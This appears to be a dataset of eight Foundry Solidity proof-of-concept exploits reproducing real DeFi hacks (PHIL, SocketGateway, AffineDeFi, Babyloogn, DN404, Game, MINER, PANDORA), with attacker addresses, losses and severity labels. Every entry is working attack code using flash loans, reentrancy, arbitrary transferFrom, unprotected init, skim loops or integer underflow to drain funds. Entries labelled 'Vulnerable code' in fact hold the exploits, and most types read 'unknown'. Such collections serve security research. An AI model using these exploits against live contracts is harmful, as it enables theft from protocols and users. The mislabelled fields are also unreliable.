Farseen0/scar-pairs huggingface dataset:
HIGH severity: PHIL exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : ~2 $BNB Attacker : https://bscscan.com/address/0x835b45d38cbdccf99e609436ff38e31ac05bc502 Vulnerable Contract : https://bscscan.com/address/0x4308d314096878d3bf16c9d8db86101f70bbebf1 Attack Tx : https://bscscan.com/tx/0x20ecd8310a2cc7f7774a

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

// @KeyInfo - Total Lost : ~2 $BNB
// Attacker : https://bscscan.com/address/0x835b45d38cbdccf99e609436ff38e31ac05bc502
// Vulnerable Contract : https://bscscan.com/address/0x4308d314096878d3bf16c9d8db86101f70bbebf1
// Attack Tx : https://bscscan.com/tx/0x20ecd8310a2cc7f7774aa5a045c8a99ad84a8451d6650f24e0911e9f4355b13a

import "forge-std/Test.sol";
import "./../interface.sol";

interface IPHIL is IERC20 {
    function simpleToken() external;
}

contract ContractTest is Test {
    IPHIL PHIL = IPHIL(0x4308D314096878D3bf16C9d8DB86101F70BBebF1);
    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
    Uni_Pair_V3 PHILTOWBNB = Uni_Pair_V3(0xb8b408A6BD3E43FCDE7D7AbC381ef10bcCcd5349);

    function setUp() public {
        vm.createSelectFork("bsc", 34_345_320 - 1);
        vm.label(address(WBNB), "WBNB");
        vm.label(address(PHIL), "PHIL");
    }

    function testExploit() public {
        emit log_named_decimal_uint("Attacker WBNB balance before attack", WBNB.balanceOf(address(this)), 18);
        PHIL.simpleToken();
        TOKENToWETH();
        emit log_named_decimal_uint("Attacker WBNB balance after attack", WBNB.balanceOf(address(this)), 18);
    }

    function TOKENToWETH() internal {
        bool zeroForOne = true;
        uint160 sqrtPriceLimitX96 = 4_295_128_740;
        bytes memory data = abi.encodePacked(uint8(0x61));
        int256 amountSpecified = 21_000 * 1e18;
        PHILTOWBNB.swap(address(this), zeroForOne, amountSpecified, sqrtPriceLimitX96, data);
    }

    function pancakeV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {
        if (amount0Delta > 0) {
            IERC20(Uni_Pair_V3(msg.sender).token0()).transfer(msg.sender, uint256(amount0Delta));
        } else if (amount1Delta > 0) {
            IERC20(Uni_Pair_V3(msg.sender).token1()).transfer(msg.sender, uint256(amount1Delta));
        }
    }

    fallback() external payable {}
    receive() external payable {}
}


Vulnerability type: unknown
HIGH severity: SocketGateway exploit (unknown). SPDX-License-Identifier: UNLICENSED

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "../basetest.sol";
import "./../interface.sol";

interface ISocketGateway {
    function executeRoute(uint32 routeId, bytes calldata routeData) external payable returns (bytes memory);
}

interface ISocketVulnRoute {
    function performAction(
        address fromToken,
        address toToken,
        uint256 amount,
        address receiverAddress,
        bytes32 metadata,
        bytes calldata swapExtraData
    ) external payable returns (uint256);
}

// @KeyInfo - Total Lost : ~3.3M US$
// Attacker : https://etherscan.io/address/0x50DF5a2217588772471B84aDBbe4194A2Ed39066
// Attack Contract : https://etherscan.io/address/0xf2D5951bB0A4d14BdcC37b66f919f9A1009C05d1
// Created Attack Contract: https://etherscan.io/address/0xd2bc9A9c2C39B8693ED4B2b72469032E87ED7F4a
// Vulnerable Contract : https://etherscan.io/address/0x3a23F943181408EAC424116Af7b7790c94Cb97a5 (the faulty route is vulnerable not the gateway itself)
// Attack Tx : https://etherscan.io/tx/0xc6c3331fa8c2d30e1ef208424c08c039a89e510df2fb6ae31e5aa40722e28fd6

// @Info
// Vulnerable Contract Code : https://etherscan.io/address/0xCC5fDA5e3cA925bd0bb428C8b2669496eE43067e#code

// @Analysis
// Post-mortem :https://twitter.com/BeosinAlert/status/1747450173675196674
// Twitter Guy : https://twitter.com/peckshield/status/1747353782004900274

//In this example i didnt do a batch transferfrom for multiple target addresses,just did one for simplicity
contract SocketGatewayExp is BaseTestWithBalanceLog {
    address _gateway = 0x3a23F943181408EAC424116Af7b7790c94Cb97a5;
    address _usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;

    address targetUser = 0x7d03149A2843E4200f07e858d6c0216806Ca4242;
    uint32 routeId = 406; //Recently added vulnerable route id

    ISocketGateway gateway = ISocketGateway(_gateway);
    IERC20 USDC = IERC20(_usdc);

    receive() external payable {}

    function setUp() public {
        vm.createSelectFork("mainnet", 19_021_453);
        USDC.approve(_gateway, type(uint256).max);
        fundingToken = _usdc;
    }

    function getCallData(address token, address user) internal view returns (bytes memory callDataX) {
        require(IERC20(token).balanceOf(user) > 0, "no amount of usdc for user");
        callDataX =
            abi.encodeWithSelector(IERC20.transferFrom.selector, user, address(this), IERC20(token).balanceOf(user));
    }

    function getRouteData(address token, address user) internal view returns (bytes memory callDataX2) {
        callDataX2 = abi.encodeWithSelector(
            ISocketVulnRoute.performAction.selector,
            token,
            token,
            0,
            address(this),
            bytes32(""),
            getCallData(_usdc, user)
        );
    }

    function testExploit() public balanceLog {
        gateway.executeRoute(routeId, getRouteData(_usdc, targetUser));
        require(USDC.balanceOf(address(this)) > 0, "no usdc gotten");
    }
}


Vulnerability type: unknown
HIGH severity: AffineDeFi exploit (unknown). SPDX-License-Identifier: UNLICENSED

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

/*
    @KeyInfo
    - Total Lost: 33 $aEthwstETH
    - Attacker: https://etherscan.io/address/0x09f6be2a7d0d2789f01ddfaf04d4eaa94efc0857
    - Attack Contract: https://etherscan.io/address/0x12d85e5869258a80d4bebe70d176d0f58b2d68e4
    - Vuln Contract: https://etherscan.io/address/0xcd6ca2f0d0c182c5049d9a1f65cde51a706ae142
    - Attack Tx: https://app.blocksec.com/explorer/tx/eth/0x03543ef96c26d6c79ff6c24219c686ae6d0eb5453b322e54d3b6a5ce456385e5
    - Analysis: https://twitter.com/Phalcon_xyz/status/1753020812284809440
*/

interface IBalancer {
    function flashLoan(
        IFlashLoanRecipient recipient,
        IERC20[] memory tokens,
        uint256[] memory amounts,
        bytes memory userData
    ) external;
}

contract ExploitTest is Test {
    address aEthwstETH = 0x0B925eD163218f6662a35e0f0371Ac234f9E9371;
    address Balancer = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;
    address LidoLevV3 = 0xcd6ca2f0d0c182C5049D9A1F65cDe51A706ae142;
    address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;

    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("mainnet", 19_132_935 - 1);
        cheats.label(address(aEthwstETH), "aEthwstETH");
        cheats.label(address(Balancer), "Balancer");
        cheats.label(address(LidoLevV3), "LidoLevV3");
    }

    function testExploit() external {
        emit log_named_decimal_uint(
            "Exploiter aEthwstETH balance before attack",
            IERC20(aEthwstETH).balanceOf(address(this)),
            IERC20(aEthwstETH).decimals()
        );

        bytes memory userencodeData = abi.encode(1, address(this));
        bytes memory userencodeData2 = abi.encode(2, address(this));
        uint256[] memory amount = new uint256[](1);
        uint256[] memory amount2 = new uint256[](1);
        IERC20[] memory token = new IERC20[](1);

        token[0] = IERC20(WETH);
        amount[0] = 318_973_831_042_619_036_856;
        amount2[0] = 0;
        IBalancer(Balancer).flashLoan(IFlashLoanRecipient(LidoLevV3), token, amount, userencodeData);
        IBalancer(Balancer).flashLoan(IFlashLoanRecipient(LidoLevV3), token, amount2, userencodeData2);

        emit log_named_decimal_uint(
            "Exploiter aEthwstETH balance after attack",
            IERC20(aEthwstETH).balanceOf(address(this)),
            IERC20(aEthwstETH).decimals()
        );
    }

    function createAaveDebt(
        uint256 wethAmount
    ) external {
        // do nothing
    }
}


Vulnerability type: unknown
HIGH severity: Babyloogn exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : ~2.24 $WBNB Attacker : https://bscscan.com/address/0x835b45d38cbdccf99e609436ff38e31ac05bc502 Attack Contract : https://bscscan.com/address/0x3559ee265fc9c5c9a333b07e0199480b4a84f369 Vulnerable Contract : https://bscscan.com/address/0x971d0

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

// @KeyInfo - Total Lost : ~2.24 $WBNB
// Attacker : https://bscscan.com/address/0x835b45d38cbdccf99e609436ff38e31ac05bc502
// Attack Contract : https://bscscan.com/address/0x3559ee265fc9c5c9a333b07e0199480b4a84f369
// Vulnerable Contract : https://bscscan.com/address/0x971d08bba900230298add23e61e04b04226b5073
// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0xd081d6bb96326be5305a6c00dd51d1799971794941576554341738abc1ceb202

import "forge-std/Test.sol";
import "./../interface.sol";

interface IBabyloognAirdrop {}

interface IBabyloognNFT {
    function setApprovalForAll(address operator, bool approved) external;
}

interface IBabyloogn {
    function approve(address spender, uint256 amount) external;
    function balanceOf(
        address account
    ) external view returns (uint256);
}

contract ContractTest is Test {
    event TokenBalance(string key, uint256 val);

    IBabyloogn Babyloogn = IBabyloogn(0x7fe5fAF242015Cf769Ae7feA565B96351Dd957A2);
    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
    IPancakeRouter Router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
    IBabyloognAirdrop Airdrop = IBabyloognAirdrop(0x971d08bbA900230298ADD23e61E04B04226b5073);
    IBabyloognNFT BabyloognNTF = IBabyloognNFT(0x5eb47C41FC9BEcf123C9E484C51de37830842AdD);

    function setUp() public {
        vm.createSelectFork("bsc", 36_159_516 - 1);
        vm.label(address(Babyloogn), "Babyloogn");
        vm.label(address(Airdrop), "Airdrop");
        vm.label(address(BabyloognNTF), "BabyloognNTF");
    }

    function testExploit() public {
        emit log_named_uint("Attacker WBNB balance before attack", WBNB.balanceOf(address(this)));
        Babyloogn.approve(address(Router), type(uint256).max);
        BabyloognNTF.setApprovalForAll(address(Airdrop), true);

        while (Babyloogn.balanceOf(address(Airdrop)) >= 285 * 1e18) {
            (bool success,) = address(Airdrop).call(abi.encodeWithSelector(bytes4(0xfbe81135), 1, 0));
        }

        TOKENTOWBNB();
        emit log_named_uint("Attacker WBNB balance before attack", WBNB.balanceOf(address(this)));
    }

    function TOKENTOWBNB() internal {
        address[] memory path = new address[](2);
        path[0] = address(Babyloogn);
        path[1] = address(WBNB);
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            Babyloogn.balanceOf(address(this)), 0, path, address(this), block.timestamp
        );
    }

    fallback() external payable {}
    receive() external payable {}
}


Vulnerability type: unknown
HIGH severity: DN404 exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : 200K Attacker : https://etherscan.io/address/0xd215ffaf0f85fb6f93f11e49bd6175ad58af0dfd Attack Contract : https://etherscan.io/address/0xd129d8c12f0e7aa51157d9e6cc3f7ece2dc84ecd Vulnerable Contract : https://etherscan.io/address/0x2c7112245

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;

import "forge-std/Test.sol";
import "../interface.sol";

// @KeyInfo - Total Lost : 200K
// Attacker : https://etherscan.io/address/0xd215ffaf0f85fb6f93f11e49bd6175ad58af0dfd
// Attack Contract : https://etherscan.io/address/0xd129d8c12f0e7aa51157d9e6cc3f7ece2dc84ecd
// Vulnerable Contract : https://etherscan.io/address/0x2c7112245fc4af701ebf90399264a7e89205dad4
// Attack Tx : https://etherscan.io/tx/0xbeef09ee9d694d2b24f3f367568cc6ba1dad591ea9f969c36e5b181fd301be82

// @Info
// Vulnerable Contract Code : https://etherscan.io/address/0x2c7112245fc4af701ebf90399264a7e89205dad4#code

// @Analysis
// Post-mortem :
// Twitter Guy :
// Hacking God :

interface IProxy {
    function init(IERC20 initToken, uint256 initPeriods, uint256 initInterval) external;

    function withdraw(IERC20 otherToken, uint256 amount, address receiver) external;
}

contract DN404 is Test {
    uint256 constant blockNumber = 19_196_685;
    address constant victim = 0x2c7112245Fc4af701EBf90399264a7e89205Dad4;
    address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address constant FLIX = 0x83Cb9449b7077947a13Bf32025A8eAA3Fb1D8A5e;
    address constant USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
    address constant UniV3Pair = 0xa7434b755852F2555D6F96B9E28bAfE92F08Df97;

    function setUp() public {
        vm.label(victim, "Proxy");
        vm.label(WETH, "WETH");
        vm.label(FLIX, "FLIX");
        vm.label(USDT, "USDT");
        vm.label(UniV3Pair, "Uniswap V3 Pair");
        vm.createSelectFork("mainnet", blockNumber);
    }

    function testExploit() public {
        // Implement exploit code here
        emit log_named_decimal_uint(" Attacker USDT Balance Before exploit", IERC20(USDT).balanceOf(address(this)), 6);

        uint256 initPeriods = 1;
        uint256 initInterval = 1_000_000_000_000_000_000;
        uint256 amount = IERC20(FLIX).balanceOf(address(victim));

        IProxy(victim).init(IERC20(WETH), initPeriods, initInterval);
        IProxy(victim).withdraw(IERC20(FLIX), amount, address(this));
        Uni_Pair_V3(UniV3Pair).swap(address(this), true, 685_000_000_000_000_000_000_000, 4_295_128_740, "");
        // Log balances after exploit
        emit log_named_decimal_uint(" Attacker USDT Balance After exploit", IERC20(USDT).balanceOf(address(this)), 6);
    }

    function uniswapV3SwapCallback(int256 amount0Delta, int256, bytes memory) external {
        IERC20(FLIX).transfer(msg.sender, uint256(amount0Delta));
    }

    receive() external payable {}
}


Vulnerability type: unknown
HIGH severity: Game exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : ~20 ETH Attacker : https://etherscan.io/address/0x145766a51ae96e69810fe76f6f68fd0e95675a0b Attack Contract : https://etherscan.io/address/0x8d4de2bc1a566b266bd4b387f62c21e15474d12a Vuln Contract : https://etherscan.io/address/0x52d69c67536f

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo - Total Lost : ~20 ETH
// Attacker : https://etherscan.io/address/0x145766a51ae96e69810fe76f6f68fd0e95675a0b
// Attack Contract : https://etherscan.io/address/0x8d4de2bc1a566b266bd4b387f62c21e15474d12a
// Vuln Contract : https://etherscan.io/address/0x52d69c67536f55efefe02941868e5e762538dbd6
// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0x0eb8f8d148508e752d9643ccf49ac4cb0c21cbad346b5bbcf2d06974d31bd5c4

// @Analysis
// https://twitter.com/AnciliaInc/status/1757533144033739116

interface IGame {
    function newBidEtherMin() external view returns (uint256);

    function makeBid() external payable;
}

contract ContractTest is Test {
    IGame private constant Game = IGame(0x52d69c67536f55EfEfe02941868e5e762538dBD6);
    uint8 private reentrancyCalls;

    function setUp() public {
        vm.createSelectFork("mainnet", 19_213_946);
        vm.label(address(Game), "Game");
    }

    function testExploit() public {
        // Start with 0.6 Ether balance
        deal(address(this), 0.6 ether);
        emit log_named_decimal_uint("Exploiter ETH balance before attack", address(this).balance, 18);

        // Following amount will be returned multiple times in receive() function when exploiter make the bad bid
        uint256 bid = (address(this).balance * 49) / 100;
        Game.makeBid{value: bid}();

        makeBadBid();

        emit log_named_decimal_uint("Exploiter ETH balance after attack", address(this).balance, 18);
    }

    receive() external payable {
        if (reentrancyCalls <= 109) {
            ++reentrancyCalls;
            makeBadBid();
        } else {
            return;
        }
    }

    function makeBadBid() internal {
        // newBidEtherMin() has logic error and thanks to this exploiter can bypass the require statement in makeBid()
        // require(msg.value > newBidEtherMin(), "bid is too low");
        uint256 badBid = Game.newBidEtherMin() + 1; // +1 because "bid is too low"
        Game.makeBid{value: badBid}();
    }
}


Vulnerability type: unknown
HIGH severity: MINER_bsc exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : ~3.5 WBNB Attacker : https://bscscan.com/address/0x031958a8137745350549fd95055398dd536a07c7 Attack Contract : https://bscscan.com/address/0xc9716ec1b0503316233e3bcc50853f0df6befd43 Vulnerable Contract : https://bscscan.com/address/0x2ba9d4a

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;

import "../basetest.sol";
import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo - Total Lost : ~3.5 WBNB
// Attacker : https://bscscan.com/address/0x031958a8137745350549fd95055398dd536a07c7
// Attack Contract : https://bscscan.com/address/0xc9716ec1b0503316233e3bcc50853f0df6befd43
// Vulnerable Contract : https://bscscan.com/address/0x2ba9d4a8c41c60b71ff7df2c3f54b008644b954e
// Attack Tx : https://bscscan.com/tx/0x15ab671c9bf918fa4b6a9eed9ccb527f32aca40e926ede2aec2c84dfa9c30512

// @Info
// Vulnerable Contract Code : https://bscscan.com/address/0x2ba9d4a8c41c60b71ff7df2c3f54b008644b954e#code

// @Analysis
// Post-mortem :
// Twitter Guy :
// Hacking God :
pragma solidity ^0.8.0;

contract MINER is BaseTestWithBalanceLog {
    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
    Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
    address dodo = 0x81917eb96b397dFb1C6000d28A5bc08c0f05fC1d;

    IERC20 Miner = IERC20(0x7C0BFb9fF0aF660D76fb2bd8865E9b49ff033045);
    IPancakePair Pair = IPancakePair(0x2BA9d4a8C41C60B71ff7Df2c3F54B008644b954e);

    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("bsc", 36_111_183 - 1);
    }

    function testExploit() public {
        Miner.approve(address(Router), type(uint256).max);
        WBNB.approve(address(Router), type(uint256).max);
        DVM(dodo).flashLoan(10 * 1e18, 0, address(this), abi.encode(0x3078));

        emit log_named_decimal_uint("[End] Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), 18);
    }

    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) public {
        address[] memory path = new address[](2);
        path[0] = address(WBNB);
        path[1] = address(Miner);
        uint256[] memory amounts =
            Router.swapTokensForExactTokens(10 * 1e12, baseAmount, path, address(this), block.timestamp);

        uint256 index = 1;
        // transfer to pair and skim
        while (index <= 50) {
            uint256 balance = Miner.balanceOf(address(this));
            Miner.transfer(address(Pair), balance);
            Pair.skim(address(Pair));
            index++;
        }

        // end while loop, swap back
        Pair.swap(0, 3_500_751_853_374_879_579, address(this), "");
        WBNB.transfer(dodo, 10 * 1e18);
    }
}


Vulnerability type: unknown
HIGH severity: PANDORA exploit (arithmetic). SPDX-License-Identifier: UNLICENSED TX : https://app.blocksec.com/explorer/tx/eth/0x7c5a909b45014e35ddb89697f6be38d08eff30e7c3d3d553033a6efc3b444fdd GUY : https://twitter.com/pennysplayer/status/1766479470058406174 Profit : ~17K USD REASON : integer underflow

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// TX : https://app.blocksec.com/explorer/tx/eth/0x7c5a909b45014e35ddb89697f6be38d08eff30e7c3d3d553033a6efc3b444fdd
// GUY : https://twitter.com/pennysplayer/status/1766479470058406174
// Profit : ~17K USD
// REASON : integer underflow

interface NoReturnTransferFrom {
    function transfer(address to, uint256 amount) external returns (bool);
    function approve(address spender, uint256 amount) external returns (bool);
    function balanceOf(
        address account
    ) external view returns (uint256);
    function transferFrom(address sender, address recipient, uint256 amount) external;
}

contract ContractTest is Test {
    IERC20 constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
    NoReturnTransferFrom constant PANDORA = NoReturnTransferFrom(0xddaDF1bf44363D07E750C20219C2347Ed7D826b9);
    Uni_Pair_V2 V2_PAIR = Uni_Pair_V2(0x89CB997C36776D910Cfba8948Ce38613636CBc3c);
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() external {
        cheats.createSelectFork("mainnet", 19_184_577);
        // deal(address(WETH), address(this), 0);
    }

    function testExploit() external {
        emit log_named_decimal_uint("[Begin] Attacker WETH before exploit", WETH.balanceOf(address(this)), 18);
        uint256 pandora_balance = PANDORA.balanceOf(address(V2_PAIR));
        PANDORA.transferFrom(address(V2_PAIR), address(PANDORA), pandora_balance - 1);
        V2_PAIR.sync();
        (uint256 ethReserve, uint256 oldPANDORAReserve,) = V2_PAIR.getReserves();
        PANDORA.transferFrom(address(PANDORA), address(V2_PAIR), pandora_balance - 1);
        uint256 newPANDORAReserve = PANDORA.balanceOf(address(V2_PAIR));
        uint256 amountin = newPANDORAReserve - oldPANDORAReserve;
        uint256 swapAmount = amountin * 9975 * ethReserve / (oldPANDORAReserve * 10_000 + amountin * 9975);

        //swap PANDORA to WBNB
        V2_PAIR.swap(swapAmount, 0, address(this), "");
        emit log_named_decimal_uint("[End] Attacker WETH after exploit", WETH.balanceOf(address(this)), 18);
    }
}


Vulnerability type: arithmetic